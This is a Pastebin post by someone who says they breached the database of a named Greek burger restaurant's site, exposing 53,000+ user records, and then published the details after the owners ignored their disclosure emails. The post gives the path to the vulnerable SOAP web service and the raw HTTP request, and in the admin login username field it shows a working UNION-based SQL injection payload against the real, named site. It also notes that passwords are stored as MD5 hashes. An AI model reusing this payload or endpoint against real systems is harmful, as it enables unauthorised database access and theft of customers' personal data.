Guest User

Simplyburgers hacked.

a guest
Dec 15th, 2014
1,175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.75 KB | None | 0 0
  1. A few days ago the database of simplyburgers.gr has been compromised.
  2.  
  3. 53.000+ Usernames, Passwords, Home addresses, Emails, Other personal information
  4. and administrator's usernames and passwords have been compromised.
  5.  
  6. I wouldn't have posted this if the Security Team of simplyburgers.gr had replied back to my
  7. 2(two) emails. I mentioned them their vulnerabilities with full information and a proof
  8. of concept - even gave them the files and the vulnerable parameters I found - but they
  9. never replied back nor fixed the issue. Unfortunately, this is my last option to get them
  10. fix their bug. I won't leak any username or password nor I will use any of them but, I will
  11. give a nice report of the vulnerability and a proof of concept.
  12.  
  13. ATTACK USED TO ACCESS DATABASE: SQLi (you don't say).
  14. METHOD: I found the WSDL file on the server - located at */webservice1/webservice.php?wsdl*
  15. and the checked every single parameter one by one to see if it's vulnerable to sql injection.
  16. The username and password parameters, and probably more, were vulnerable. So, by using
  17. a UNION query I gained all the information I wanted like database name, tables, columns, entries etc.
  18.  
  19. Here is the Request before SQL injection:
  20.  
  21. POST http://simplyburgers.gr/webservice1/webservice.php HTTP/1.1
  22. Accept-Encoding: gzip,deflate
  23. Content-Type: text/xml;charset=UTF-8
  24. SOAPAction: "http://simplyburgers.gr/webservice1/webservice.php/adminLogin"
  25. Content-Length: 511
  26. Host: simplyburgers.gr
  27. Proxy-Connection: Keep-Alive
  28. User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
  29.  
  30.  
  31. <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http:/$
  32. <soapenv:Header/>
  33. <soapenv:Body>
  34. <sim:adminLogin soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  35. <username xsi:type="xsd:string">1</username>
  36. <password xsi:type="xsd:string">1</password>
  37. </sim:adminLogin>
  38. </soapenv:Body>
  39. </soapenv:Envelope>
  40.  
  41.  
  42. * The '1' input on username,password is just an example *
  43.  
  44. Here is the payload inside the request:
  45.  
  46. <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/enve$
  47. <soapenv:Header/>
  48. <soapenv:Body>
  49. <sim:adminLogin soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  50. <username xsi:type="xsd:string">1' UNION ALL SELECT NULL,NULL,CONCAT(0x7163686471,0x6d6f465544695343674c,0x717a696c71),NULL,NULL#</username>
  51. <password xsi:type="xsd:string">1</password>
  52. </sim:adminLogin>
  53. </soapenv:Body>
  54. </soapenv:Envelope>
  55.  
  56.  
  57. Web Server: Apache.
  58. Database: MySQL 5.
  59. Password encryption: MD5 (that's sad, indeed).
  60.  
  61. Proof Of Concept: Database name: test_db, Table(example): users
Advertisement
Add Comment
Please, Sign In to add comment